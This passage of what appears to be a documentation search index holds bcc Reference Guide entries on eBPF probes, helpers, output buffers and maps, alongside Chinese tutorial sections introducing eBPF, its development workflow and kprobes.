b.get_syscall_fnname(\"execve\")\nb.attach_kprobe(event=execve_fnname, fn_name=\"syscall__execve\") Examples in situ: code ( output )","breadcrumbs":"bcc Reference Guide » 8. system call tracepoints","id":"193","title":"8. system call tracepoints"},"194":{"body":"Syntax: KFUNC_PROBE( function , typeof(arg1) arg1, typeof(arg2) arge ...) This is a macro that instruments the kernel function via trampoline before the function is executed. It's defined by function name and the function arguments defined as argX . For example: KFUNC_PROBE(do_sys_open, int dfd, const char *filename, int flags, int mode)\n{ ... This instruments the do_sys_open kernel function and make its arguments accessible as standard argument values. Examples in situ: search /tools","breadcrumbs":"bcc Reference Guide » 9. kfuncs","id":"194","title":"9. kfuncs"},"195":{"body":"Syntax: KRETFUNC_PROBE( event , typeof(arg1) arg1, typeof(arg2) arge ..., int ret) This is a macro that instruments the kernel function via trampoline after the function is executed. It's defined by function name and the function arguments defined as argX . The last argument of the probe is the return value of the instrumented function. For example: KRETFUNC_PROBE(do_sys_open, int dfd, const char *filename, int flags, int mode, int ret)\n{ ... This instruments the do_sys_open kernel function and make its arguments accessible as standard argument values together with its return value. Examples in situ: search /tools","breadcrumbs":"bcc Reference Guide » 10. kretfuncs","id":"195","title":"10. kretfuncs"},"196":{"body":"Syntax: LSM_PROBE( hook , typeof(arg1) arg1, typeof(arg2) arg2 ...) This is a macro that instruments an LSM hook as a BPF program. It can be used to audit security events and implement MAC security policies in BPF. It is defined by specifying the hook name followed by its arguments. Hook names can be found in include/linux/security.h by taking functions like security_hookname and taking just the hookname part. For example, security_bpf would simply become bpf. Unlike other BPF program types, the return value specified in an LSM probe matters. A return value of 0 allows the hook to succeed, whereas any non-zero return value will cause the hook to fail and deny the security operation. The following example instruments a hook that denies all future BPF operations: LSM_PROBE(bpf, int cmd, union bpf_attr *attr, unsigned int size)\n{ return -EPERM;\n} This instruments the security_bpf hook and causes it to return -EPERM. Changing return -EPERM to return 0 would cause the BPF program to allow the operation instead. LSM probes require at least a 5.7+ kernel with the following configuation options set: CONFIG_BPF_LSM=y CONFIG_LSM comma separated string must contain \"bpf\" (for example, CONFIG_LSM=\"lockdown,yama,bpf\") Examples in situ: search /tests","breadcrumbs":"bcc Reference Guide » 11. LSM Probes","id":"196","title":"11. LSM Probes"},"197":{"body":"Syntax: BPF_ITER(target) This is a macro to define a program signature for a bpf iterator program. The argument target specifies what to iterate for the program. Currently, kernel does not have interface to discover what targets are supported. A good place to find what is supported is in tools/testing/selftests/bpf/prog_test/bpf_iter.c and some sample bpf iter programs are in tools/testing/selftests/bpf/progs with file name prefix bpf_iter . The following example defines a program for target task , which traverses all tasks in the kernel. BPF_ITER(task)\n{ struct seq_file *seq = ctx->meta->seq; struct task_struct *task = ctx->task; if (task == (void *)0) return 0; ... task->pid, task->tgid, task->comm, ... return 0;\n} BPF iterators are introduced in 5.8 kernel for task, task_file, bpf_map, netlink_sock and ipv6_route . In 5.9, support is added to tcp/udp sockets and bpf map element (hashmap, arraymap and sk_local_storage_map) traversal.","breadcrumbs":"bcc Reference Guide » 12. BPF ITERATORS","id":"197","title":"12. BPF ITERATORS"},"198":{"body":"","breadcrumbs":"bcc Reference Guide » Data","id":"198","title":"Data"},"199":{"body":"Syntax: int bpf_probe_read_kernel(void *dst, int size, const void *src) Return: 0 on success This copies size bytes from kernel address space to the BPF stack, so that BPF can later operate on it. For safety, all kernel memory reads must pass through bpf_probe_read_kernel(). This happens automatically in some cases, such as dereferencing kernel variables, as bcc will rewrite the BPF program to include the necessary bpf_probe_read_kernel(). Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 1. bpf_probe_read_kernel()","id":"199","title":"1. bpf_probe_read_kernel()"},"2":{"body":"对于浏览器而言，JavaScript 的引入带来的可编程性开启了一场巨大的革命，使浏览器发展成为几乎独立的操作系统。现在让我们回到 eBPF：为了理解 eBPF 对 Linux 内核的可编程性影响，对 Linux 内核的结构以及它如何与应用程序和硬件进行交互有一个高层次的理解是有帮助的[4]。 kernel-arch Linux 内核的主要目的是抽象出硬件或虚拟硬件，并提供一个一致的API（系统调用），允许应用程序运行和共享资源。为了实现这个目的，我们维护了一系列子系统和层，以分配这些责任[5]。每个子系统通常允许某种程度的配置，以考虑到用户的不同需求。如果不能配置所需的行为，就需要改变内核，从历史上看，改变内核的行为，或者让用户编写的程序能够在内核中运行，就有两种选择: 本地支持内核模块 写一个内核模块 改变内核源代码，并说服Linux内核社区相信这种改变是必要的。等待几年，让新的内核版本成为一种商品。 定期修复它，因为每个内核版本都可能破坏它。由于缺乏安全边界，冒着破坏你的Linux内核的风险 实际上，两种方案都不常用，前者成本太高，后者则几乎没有可移植性。 有了 eBPF，就有了一个新的选择，可以重新编程 Linux 内核的行为，而不需要改变内核的源代码或加载内核模块，同时保证在不同内核版本之间一定程度上的行为一致性和兼容性、以及安全性[6]。为了实现这个目的，eBPF 程序也需要有一套对应的 API，允许用户定义的应用程序运行和共享资源 --- 换句话说，某种意义上讲 eBPF 虚拟机也提供了一套类似于系统调用的机制，借助 eBPF 和用户态通信的机制，Wasm 虚拟机和用户态应用也可以获得这套“系统调用”的完整使用权，一方面能可编程地扩展传统的系统调用的能力，另一方面能在网络、文件系统等许多层次实现更高效的可编程 IO 处理。 new-os 正如上图所示，当今的 Linux 内核正在向一个新的内核模型演化：用户定义的应用程序可以在内核态和用户态同时执行，用户态通过传统的系统调用访问系统资源，内核态则通过 BPF Helper Calls 和系统的各个部分完成交互。截止 2023 年初，内核中的 eBPF 虚拟机中已经有 220 多个Helper 系统接口，涵盖了非常多的应用场景。 值得注意的是，BPF Helper Call 和系统调用二者并不是竞争关系，它们的编程模型和有性能优势的场景完全不同，也不会完全替代对方。对 Wasm 和 Wasi 相关生态来说，情况也类似，专门设计的 wasi 接口需要经历一个漫长的标准化过程，但可能在特定场景能为用户态应用获取更佳的性能和可移植性保证，而 eBPF 在保证沙箱本质和可移植性的前提下，可以提供一个快速灵活的扩展系统接口的方案。 目前的 eBPF 仍然处于早期阶段，但是借助当前 eBPF 提供的内核接口和用户态交互的能力，经由 Wasm-bpf 的系统接口转换，Wasm 虚拟机中的应用已经几乎有能力获取内核以及用户态任意一个函数调用的数据和返回值（kprobe，uprobe...）；以很低的代价收集和理解所有系统调用，并获取所有网络操作的数据包和套接字级别的数据（tracepoint，socket...）；在网络包处理解决方案中添加额外的协议分析器，并轻松地编程任何转发逻辑（XDP，TC...），以满足不断变化的需求，而无需离开Linux内核的数据包处理环境。 不仅如此，eBPF 还有能力往用户空间任意进程的任意地址写入数据（bpf_probe_write_user[7]），有限度地修改内核函数的返回值（bpf_override_return[8]），甚至在内核态直接执行某些系统调用[9]；所幸的是，eBPF 在加载进内核之前对字节码会进行严格的安全检查，确保没有内存越界等操作，同时，许多可能会扩大攻击面、带来安全风险的功能都是需要在编译内核时明确选择启用才能使用的；在 Wasm 虚拟机将字节码加载进内核之前，也可以明确选择启用或者禁用某些 eBPF 功能，以确保沙箱的安全性。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eBPF 的未来：内核的 JavaScript 可编程接口","id":"2","title":"eBPF 的未来：内核的 JavaScript 可编程接口"},"20":{"body":"面对创建一个 eBPF 项目，您是否对如何开始搭建环境以及选择编程语言感到困惑？别担心，我们为您准备了一系列 GitHub 模板，以便您快速启动一个全新的eBPF项目。只需在GitHub上点击 Use this template 按钮，即可开始使用。 https://github.com/eunomia-bpf/libbpf-starter-template ：基于C语言和 libbpf 框架的eBPF项目模板 https://github.com/eunomia-bpf/cilium-ebpf-starter-template ：基于C语言和cilium/ebpf框架的eBPF项目模板 https://github.com/eunomia-bpf/libbpf-rs-starter-template ：基于Rust语言和libbpf-rs框架的eBPF项目模板 https://github.com/eunomia-bpf/eunomia-template ：基于C语言和eunomia-bpf框架的eBPF项目模板 这些启动模板包含以下功能： 一个 Makefile，让您可以一键构建项目 一个 Dockerfile，用于为您的 eBPF 项目自动创建一个容器化环境并发布到 Github Packages GitHub Actions，用于自动化构建、测试和发布流程 eBPF 开发所需的所有依赖项 通过将现有仓库设置为模板，您和其他人可以快速生成具有相同基础结构的新仓库，从而省去了手动创建和配置的繁琐过程。借助 GitHub 模板仓库，开发者可以专注于项目的核心功能和逻辑，而无需为基础设置和结构浪费时间。更多关于模板仓库的信息，请参阅官方文档： https://docs.github.com/en/repositories/creating-and-managing-repositories/creating-a-template-repository","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » GitHub 模板：轻松构建 eBPF 项目和开发环境","id":"20","title":"GitHub 模板：轻松构建 eBPF 项目和开发环境"},"200":{"body":"Syntax: int bpf_probe_read_kernel_str(void *dst, int size, const void *src) Return: > 0 length of the string including the trailing NULL on success < 0 error This copies a NULL terminated string from kernel address space to the BPF stack, so that BPF can later operate on it. In case the string length is smaller than size, the target is not padded with further NULL bytes. In case the string length is larger than size, just size - 1 bytes are copied and the last byte is set to NULL. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 2. bpf_probe_read_kernel_str()","id":"200","title":"2. bpf_probe_read_kernel_str()"},"201":{"body":"Syntax: u64 bpf_ktime_get_ns(void) Return: u64 number of nanoseconds. Starts at system boot time but stops during suspend. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 3. bpf_ktime_get_ns()","id":"201","title":"3. bpf_ktime_get_ns()"},"202":{"body":"Syntax: u64 bpf_get_current_pid_tgid(void) Return: current->tgid << 32 | current->pid Returns the process ID in the lower 32 bits (kernel's view of the PID, which in user space is usually presented as the thread ID), and the thread group ID in the upper 32 bits (what user space often thinks of as the PID). By directly setting this to a u32, we discard the upper 32 bits. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 4. bpf_get_current_pid_tgid()","id":"202","title":"4. bpf_get_current_pid_tgid()"},"203":{"body":"Syntax: u64 bpf_get_current_uid_gid(void) Return: current_gid << 32 | current_uid Returns the user ID and group IDs. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 5. bpf_get_current_uid_gid()","id":"203","title":"5. bpf_get_current_uid_gid()"},"204":{"body":"Syntax: bpf_get_current_comm(char *buf, int size_of_buf) Return: 0 on success Populates the first argument address with the current process name. It should be a pointer to a char array of at least size TASK_COMM_LEN, which is defined in linux/sched.h. For example: #include <linux/sched.h> int do_trace(struct pt_regs *ctx) { char comm[TASK_COMM_LEN]; bpf_get_current_comm(&comm, sizeof(comm));\n[...] Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 6. bpf_get_current_comm()","id":"204","title":"6. bpf_get_current_comm()"},"205":{"body":"Syntax: bpf_get_current_task() Return: current task as a pointer to struct task_struct. Returns a pointer to the current task's task_struct object. This helper can be used to compute the on-CPU time for a process, identify kernel threads, get the current CPU's run queue, or retrieve many other pieces of information. With Linux 4.13, due to issues with field randomization, you may need two #define directives before the includes: #define randomized_struct_fields_start struct {\n#define randomized_struct_fields_end };\n#include <linux/sched.h> int do_trace(void *ctx) { struct task_struct *t = (struct task_struct *)bpf_get_current_task();\n[...] Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 7. bpf_get_current_task()","id":"205","title":"7. bpf_get_current_task()"},"206":{"body":"Syntax: unsigned int bpf_log2l(unsigned long v) Returns the log-2 of the provided value. This is often used to create indexes for histograms, to construct power-of-2 histograms. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 8. bpf_log2l()","id":"206","title":"8. bpf_log2l()"},"207":{"body":"Syntax: u32 bpf_get_prandom_u32() Returns a pseudo-random u32. Example in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 9. bpf_get_prandom_u32()","id":"207","title":"9. bpf_get_prandom_u32()"},"208":{"body":"Syntax: int bpf_probe_read_user(void *dst, int size, const void *src) Return: 0 on success This attempts to safely read size bytes from user address space to the BPF stack, so that BPF can later operate on it. For safety, all user address space memory reads must pass through bpf_probe_read_user(). Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 10. bpf_probe_read_user()","id":"208","title":"10. bpf_probe_read_user()"},"209":{"body":"Syntax: int bpf_probe_read_user_str(void *dst, int size, const void *src) Return: > 0 length of the string including the trailing NULL on success < 0 error This copies a NULL terminated string from user address space to the BPF stack, so that BPF can later operate on it. In case the string length is smaller than size, the target is not padded with further NULL bytes. In case the string length is larger than size, just size - 1 bytes are copied and the last byte is set to NULL. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 11. bpf_probe_read_user_str()","id":"209","title":"11. bpf_probe_read_user_str()"},"21":{"body":"eBPF 程序的开发和使用流程可以概括为如下几个步骤： 定义 eBPF 程序的接口和类型：这包括定义 eBPF 程序的接口函数，定义和实现 eBPF 内核映射（maps）和共享内存（perf events），以及定义和使用 eBPF 内核帮助函数（helpers）。 编写 eBPF 程序的代码：这包括编写 eBPF 程序的主要逻辑，实现 eBPF 内核映射的读写操作，以及使用 eBPF 内核帮助函数。 编译 eBPF 程序：这包括使用 eBPF 编译器（例如 clang）将 eBPF 程序代码编译为 eBPF 字节码，并生成可执行的 eBPF 内核模块。ecc 本质上也是调用 clang 编译器来编译 eBPF 程序。 加载 eBPF 程序到内核：这包括将编译好的 eBPF 内核模块加载到 Linux 内核中，并将 eBPF 程序附加到指定的内核事件上。 使用 eBPF 程序：这包括监测 eBPF 程序的运行情况，并使用 eBPF 内核映射和共享内存进行数据交换和共享。 在实际开发中，还可能需要进行其他的步骤，例如配置编译和加载参数，管理 eBPF 内核模块和内核映射，以及使用其他高级功能等。 需要注意的是，BPF 程序的执行是在内核空间进行的，因此需要使用特殊的工具和技术来编写、编译和调试 BPF 程序。eunomia-bpf 是一个开源的 BPF 编译器和工具包，它可以帮助开发者快速和简单地编写和运行 BPF 程序。 您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程，全部内容均已开源。我们会继续分享更多有关 eBPF 开发实践的内容，帮助您更好地理解和掌握 eBPF 技术。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » 总结","id":"21","title":"总结"},"210":{"body":"Syntax: u32 bpf_get_ns_current_pid_tgid(u64 dev, u64 ino, struct bpf_pidns_info* nsdata, u32 size) Values for pid and tgid as seen from the current namespace will be returned in nsdata . Return 0 on success, or one of the following in case of failure: -EINVAL if dev and inum supplied don't match dev_t and inode number with nsfs of current task, or if dev conversion to dev_t lost high bits. -ENOENT if pidns does not exists for the current task. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 12. bpf_get_ns_current_pid_tgid()","id":"210","title":"12. bpf_get_ns_current_pid_tgid()"},"211":{"body":"","breadcrumbs":"bcc Reference Guide » Debugging","id":"211","title":"Debugging"},"212":{"body":"Syntax: int bpf_override_return(struct pt_regs *, unsigned long rc) Return: 0 on success When used in a program attached to a function entry kprobe, causes the execution of the function to be skipped, immediately returning rc instead. This is used for targeted error injection. bpf_override_return will only work when the kprobed function is whitelisted to allow error injections. Whitelisting entails tagging a function with ALLOW_ERROR_INJECTION() in the kernel source tree; see io_ctl_init for an example. If the kprobed function is not whitelisted, the bpf program will fail to attach with ioctl(PERF_EVENT_IOC_SET_BPF): Invalid argument int kprobe__io_ctl_init(void *ctx) { bpf_override_return(ctx, -ENOMEM); return 0;\n}","breadcrumbs":"bcc Reference Guide » 1. bpf_override_return()","id":"212","title":"1. bpf_override_return()"},"213":{"body":"","breadcrumbs":"bcc Reference Guide » Output","id":"213","title":"Output"},"214":{"body":"Syntax: int bpf_trace_printk(const char *fmt, ...) Return: 0 on success A simple kernel facility for printf() to the common trace_pipe (/sys/kernel/debug/tracing/trace_pipe). This is ok for some quick examples, but has limitations: 3 args max, 1 %s only, and trace_pipe is globally shared, so concurrent programs will have clashing output. A better interface is via BPF_PERF_OUTPUT(). Note that calling this helper is made simpler than the original kernel version, which has fmt_size as the second parameter. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 1. bpf_trace_printk()","id":"214","title":"1. bpf_trace_printk()"},"215":{"body":"Syntax: BPF_PERF_OUTPUT(name) Creates a BPF table for pushing out custom event data to user space via a perf ring buffer. This is the preferred method for pushing per-event data to user space. For example: struct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n};\nBPF_PERF_OUTPUT(events); int hello(struct pt_regs *ctx) { struct data_t data = {}; data.pid = bpf_get_current_pid_tgid(); data.ts = bpf_ktime_get_ns(); bpf_get_current_comm(&data.comm, sizeof(data.comm)); events.perf_submit(ctx, &data, sizeof(data)); return 0;\n} The output table is named events, and data is pushed to it via events.perf_submit(). Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 2. BPF_PERF_OUTPUT","id":"215","title":"2. BPF_PERF_OUTPUT"},"216":{"body":"Syntax: int perf_submit((void *)ctx, (void *)data, u32 data_size) Return: 0 on success A method of a BPF_PERF_OUTPUT table, for submitting custom event data to user space. See the BPF_PERF_OUTPUT entry. (This ultimately calls bpf_perf_event_output().) The ctx parameter is provided in kprobes or kretprobes . For SCHED_CLS or SOCKET_FILTER programs, the struct __sk_buff *skb must be used instead. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 3. perf_submit()","id":"216","title":"3. perf_submit()"},"217":{"body":"Syntax: int perf_submit_skb((void *)ctx, u32 packet_size, (void *)data, u32 data_size) Return: 0 on success A method of a BPF_PERF_OUTPUT table available in networking program types, for submitting custom event data to user space, along with the first packet_size bytes of the packet buffer. See the BPF_PERF_OUTPUT entry. (This ultimately calls bpf_perf_event_output().) Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 4. perf_submit_skb()","id":"217","title":"4. perf_submit_skb()"},"218":{"body":"Syntax: BPF_RINGBUF_OUTPUT(name, page_cnt) Creates a BPF table for pushing out custom event data to user space via a ringbuf ring buffer. BPF_RINGBUF_OUTPUT has several advantages over BPF_PERF_OUTPUT, summarized as follows: Buffer is shared across all CPUs, meaning no per-CPU allocation Supports two APIs for BPF programs map.ringbuf_output() works like map.perf_submit() (covered in ringbuf_output ) map.ringbuf_reserve()/map.ringbuf_submit()/map.ringbuf_discard() split the process of reserving buffer space and submitting events into two steps (covered in ringbuf_reserve , ringbuf_submit , ringbuf_discard ) BPF APIs do not require access to a CPU ctx argument Superior performance and latency in userspace thanks to a shared ring buffer manager Supports two ways of consuming data in userspace Starting in Linux 5.8, this should be the preferred method for pushing per-event data to user space. Example of both APIs: struct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n}; // Creates a ringbuf called events with 8 pages of space, shared across all CPUs\nBPF_RINGBUF_OUTPUT(events, 8); int first_api_example(struct pt_regs *ctx) { struct data_t data = {}; data.pid = bpf_get_current_pid_tgid(); data.ts = bpf_ktime_get_ns(); bpf_get_current_comm(&data.comm, sizeof(data.comm)); events.ringbuf_output(&data, sizeof(data), 0 /* flags */); return 0;\n} int second_api_example(struct pt_regs *ctx) { struct data_t *data = events.ringbuf_reserve(sizeof(struct data_t)); if (!data) { // Failed to reserve space return 1; } data->pid = bpf_get_current_pid_tgid(); data->ts = bpf_ktime_get_ns(); bpf_get_current_comm(&data->comm, sizeof(data->comm)); events.ringbuf_submit(data, 0 /* flags */); return 0;\n} The output table is named events. Data is allocated via events.ringbuf_reserve() and pushed to it via events.ringbuf_submit(). Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 5. BPF_RINGBUF_OUTPUT","id":"218","title":"5. BPF_RINGBUF_OUTPUT"},"219":{"body":"Syntax: int ringbuf_output((void *)data, u64 data_size, u64 flags) Return: 0 on success Flags: BPF_RB_NO_WAKEUP: Do not sent notification of new data availability BPF_RB_FORCE_WAKEUP: Send notification of new data availability unconditionally A method of the BPF_RINGBUF_OUTPUT table, for submitting custom event data to user space. This method works like perf_submit(), although it does not require a ctx argument. Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 6. ringbuf_output()","id":"219","title":"6. ringbuf_output()"},"22":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第二篇，在 eBPF 中使用 kprobe 捕获 unlink 系统调用。本文会先讲解关于 kprobes 的基本概念和技术背景，然后介绍如何在 eBPF 中使用 kprobe 捕获 unlink 系统调用。","breadcrumbs":"使用 kprobe 监测捕获 unlink 系统调用 » eBPF 入门开发实践教程二：在 eBPF 中使用 kprobe 监测捕获 unlink 系统调用","id":"22","title":"eBPF 入门开发实践教程二：在 eBPF 中使用 kprobe 监测捕获 unlink 系统调用"},"220":{"body":"Syntax: void* ringbuf_reserve(u64 data_size) Return: Pointer to data struct on success, NULL on failure A method of the BPF_RINGBUF_OUTPUT table, for reserving space in the ring buffer and simultaenously allocating a data struct for output. Must be used with one of ringbuf_submit or ringbuf_discard. Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 7. ringbuf_reserve()","id":"220","title":"7. ringbuf_reserve()"},"221":{"body":"Syntax: void ringbuf_submit((void *)data, u64 flags) Return: Nothing, always succeeds Flags: BPF_RB_NO_WAKEUP: Do not sent notification of new data availability BPF_RB_FORCE_WAKEUP: Send notification of new data availability unconditionally A method of the BPF_RINGBUF_OUTPUT table, for submitting custom event data to user space. Must be preceded by a call to ringbuf_reserve() to reserve space for the data. Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 8. ringbuf_submit()","id":"221","title":"8. ringbuf_submit()"},"222":{"body":"Syntax: void ringbuf_discard((void *)data, u64 flags) Return: Nothing, always succeeds Flags: BPF_RB_NO_WAKEUP: Do not sent notification of new data availability BPF_RB_FORCE_WAKEUP: Send notification of new data availability unconditionally A method of the BPF_RINGBUF_OUTPUT table, for discarding custom event data; userspace ignores the data associated with the discarded event. Must be preceded by a call to ringbuf_reserve() to reserve space for the data. Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 9. ringbuf_discard()","id":"222","title":"9. ringbuf_discard()"},"223":{"body":"Maps are BPF data stores, and are the basis for higher level object types including tables, hashes, and histograms.","breadcrumbs":"bcc Reference Guide » Maps","id":"223","title":"Maps"},"224":{"body":"Syntax: BPF_TABLE(_table_type, _key_type, _leaf_type, _name, _max_entries) Creates a map named _name. Most of the time this will be used via higher-level macros, like BPF_HASH, BPF_ARRAY, BPF_HISTOGRAM, etc. BPF_F_TABLE is a variant that takes a flag in the last parameter. BPF_TABLE(https://github.com/iovisor/bcc/tree/master.) is actually a wrapper to BPF_F_TABLE(https://github.com/iovisor/bcc/tree/master., 0 /* flag */). Methods (covered later): map.lookup(), map.lookup_or_try_init(), map.delete(), map.update(), map.insert(), map.increment(). Examples in situ: search /examples , search /tools Pinned Maps Syntax: BPF_TABLE_PINNED(_table_type, _key_type, _leaf_type, _name, _max_entries, \"/sys/fs/bpf/xyz\") Create a new map if it doesn't exist and pin it to the bpffs as a FILE, otherwise use the map that was pinned to the bpffs. The type information is not enforced and the actual map type depends on the map that got pinned to the location. For example: BPF_TABLE_PINNED(\"hash\", u64, u64, ids, 1024, \"/sys/fs/bpf/ids\");","breadcrumbs":"bcc Reference Guide » 1. BPF_TABLE","id":"224","title":"1. BPF_TABLE"},"225":{"body":"Syntax: BPF_HASH(name [, key_type [, leaf_type [, size]]]) Creates a hash map (associative array) named name, with optional parameters. Defaults: BPF_HASH(name, key_type=u64, leaf_type=u64, size=10240) For example: BPF_HASH(start, struct request *); This creates a hash named start where the key is a struct request *, and the value defaults to u64. This hash is used by the disksnoop.py example for saving timestamps for each I/O request, where the key is the pointer to struct request, and the value is the timestamp. This is a wrapper macro for BPF_TABLE(\"hash\", ...). Methods (covered later): map.lookup(), map.lookup_or_try_init(), map.delete(), map.update(), map.insert(), map.increment(). Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 2. BPF_HASH","id":"225","title":"2. BPF_HASH"},"226":{"body":"Syntax: BPF_ARRAY(name [, leaf_type [, size]]) Creates an int-indexed array which is optimized for fastest lookup and update, named name, with optional parameters. Defaults: BPF_ARRAY(name, leaf_type=u64, size=10240) For example: BPF_ARRAY(counts, u64, 32); This creates an array named counts where with 32 buckets and 64-bit integer values. This array is used by the funccount.py example for saving call count of each function. This is a wrapper macro for BPF_TABLE(\"array\", ...). Methods (covered later): map.lookup(), map.update(), map.increment(). Note that all array elements are pre-allocated with zero values and can not be deleted. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 3. BPF_ARRAY","id":"226","title":"3. BPF_ARRAY"},"227":{"body":"Syntax: BPF_HISTOGRAM(name [, key_type [, size ]]) Creates a histogram map named name, with optional parameters. Defaults: BPF_HISTOGRAM(name, key_type=int, size=64) For example: BPF_HISTOGRAM(dist); This creates a histogram named dist, which defaults to 64 buckets indexed by keys of type int. This is a wrapper macro for BPF_TABLE(\"histgram\", ...). Methods (covered later): map.increment(). Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 4. BPF_HISTOGRAM","id":"227","title":"4. BPF_HISTOGRAM"},"228":{"body":"Syntax: BPF_STACK_TRACE(name, max_entries) Creates stack trace map named name, with a maximum entry count provided. These maps are used to store stack traces. For example: BPF_STACK_TRACE(stack_traces, 1024); This creates stack trace map named stack_traces, with a maximum number of stack trace entries of 1024. This is a wrapper macro for BPF_TABLE(\"stacktrace\", ...). Methods (covered later): map.get_stackid(). Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 5. BPF_STACK_TRACE","id":"228","title":"5. BPF_STACK_TRACE"},"229":{"body":"Syntax: BPF_PERF_ARRAY(name, max_entries) Creates perf array named name, with a maximum entry count provided, which must be equal to the number of system cpus. These maps are used to fetch hardware performance counters. For example: text=\"\"\"\nBPF_PERF_ARRAY(cpu_cycles, NUM_CPUS);\n\"\"\"\nb = bcc.BPF(text=text, cflags=[\"-DNUM_CPUS=%d\" % multiprocessing.cpu_count()])\nb[\"cpu_cycles\"].open_perf_event(b[\"cpu_cycles\"].HW_CPU_CYCLES) This creates a perf array named cpu_cycles, with number of entries equal to the number of cpus/cores. The array is configured so that later calling map.perf_read() will return a hardware-calculated counter of the number of cycles elapsed from some point in the past. Only one type of hardware counter may be configured per table at a time. Methods (covered later): map.perf_read(). Examples in situ: search /tests","breadcrumbs":"bcc Reference Guide » 6. BPF_PERF_ARRAY","id":"229","title":"6. BPF_PERF_ARRAY"},"23":{"body":"开发人员在内核或者模块的调试过程中，往往会需要要知道其中的一些函数有无被调用、何时被调用、执行是否正确以及函数的入参和返回值是什么等等。比较简单的做法是在内核代码对应的函数中添加日志打印信息，但这种方式往往需要重新编译内核或模块，重新启动设备之类的，操作较为复杂甚至可能会破坏原有的代码执行过程。 而利用kprobes技术，用户可以定义自己的回调函数，然后在内核或者模块中几乎所有的函数中（有些函数是不可探测的，例如kprobes自身的相关实现函数，后文会有详细说明）动态的插入探测点，当内核执行流程执行到指定的探测函数时，会调用该回调函数，用户即可收集所需的信息了，同时内核最后还会回到原本的正常执行流程。如果用户已经收集足够的信息，不再需要继续探测，则同样可以动态地移除探测点。因此kprobes技术具有对内核执行流程影响小和操作方便的优点。 kprobes技术包括的3种探测手段分别时kprobe、jprobe和kretprobe。首先kprobe是最基本的探测方式，是实现后两种的基础，它可以在任意的位置放置探测点（就连函数内部的某条指令处也可以），它提供了探测点的调用前、调用后和内存访问出错3种回调方式，分别是pre_handler、post_handler和fault_handler，其中pre_handler函数将在被探测指令被执行前回调，post_handler会在被探测指令执行完毕后回调（注意不是被探测函数），fault_handler会在内存访问出错时被调用；jprobe基于kprobe实现，它用于获取被探测函数的入参值；最后kretprobe从名字中就可以看出其用途了，它同样基于kprobe实现，用于获取被探测函数的返回值。 kprobes的技术原理并不仅仅包含存软件的实现方案，它也需要硬件架构提供支持。其中涉及硬件架构相关的是CPU的异常处理和单步调试技术，前者用于让程序的执行流程陷入到用户注册的回调函数中去，而后者则用于单步执行被探测点指令，因此并不是所有的架构均支持，目前kprobes技术已经支持多种架构，包括i386、x86_64、ppc64、ia64、sparc64、arm、ppc和mips（有些架构实现可能并不完全，具体可参考内核的Documentation/kprobes.txt）。 kprobes的特点与使用限制： kprobes允许在同一个被被探测位置注册多个kprobe，但是目前jprobe却不可以；同时也不允许以其他的jprobe回调函数和kprobe的post_handler回调函数作为被探测点。 一般情况下，可以探测内核中的任何函数，包括中断处理函数。不过在kernel/kprobes.c和arch/*/kernel/kprobes.c程序中用于实现kprobes自身的函数是不允许被探测的，另外还有do_page_fault和notifier_call_chain； 如果以一个内联函数为探测点，则kprobes可能无法保证对该函数的所有实例都注册探测点。由于gcc可能会自动将某些函数优化为内联函数，因此可能无法达到用户预期的探测效果； 一个探测点的回调函数可能会修改被探测函数运行的上下文，例如通过修改内核的数据结构或者保存与struct pt_regs结构体中的触发探测器之前寄存器信息。因此kprobes可以被用来安装bug修复代码或者注入故障测试代码； kprobes会避免在处理探测点函数时再次调用另一个探测点的回调函数，例如在printk()函数上注册了探测点，则在它的回调函数中可能再次调用printk函数，此时将不再触发printk探测点的回调，仅仅时增加了kprobe结构体中nmissed字段的数值； 在kprobes的注册和注销过程中不会使用mutex锁和动态的申请内存； kprobes回调函数的运行期间是关闭内核抢占的，同时也可能在关闭中断的情况下执行，具体要视CPU架构而定。因此不论在何种情况下，在回调函数中不要调用会放弃CPU的函数（如信号量、mutex锁等）； kretprobe通过替换返回地址为预定义的trampoline的地址来实现，因此栈回溯和gcc内嵌函数__builtin_return_address()调用将返回trampoline的地址而不是真正的被探测函数的返回地址； 如果一个函数的调用次数和返回次数不相等，则在类似这样的函数上注册kretprobe将可能不会达到预期的效果，例如do_exit()函数会存在问题，而do_execve()函数和do_fork()函数不会； 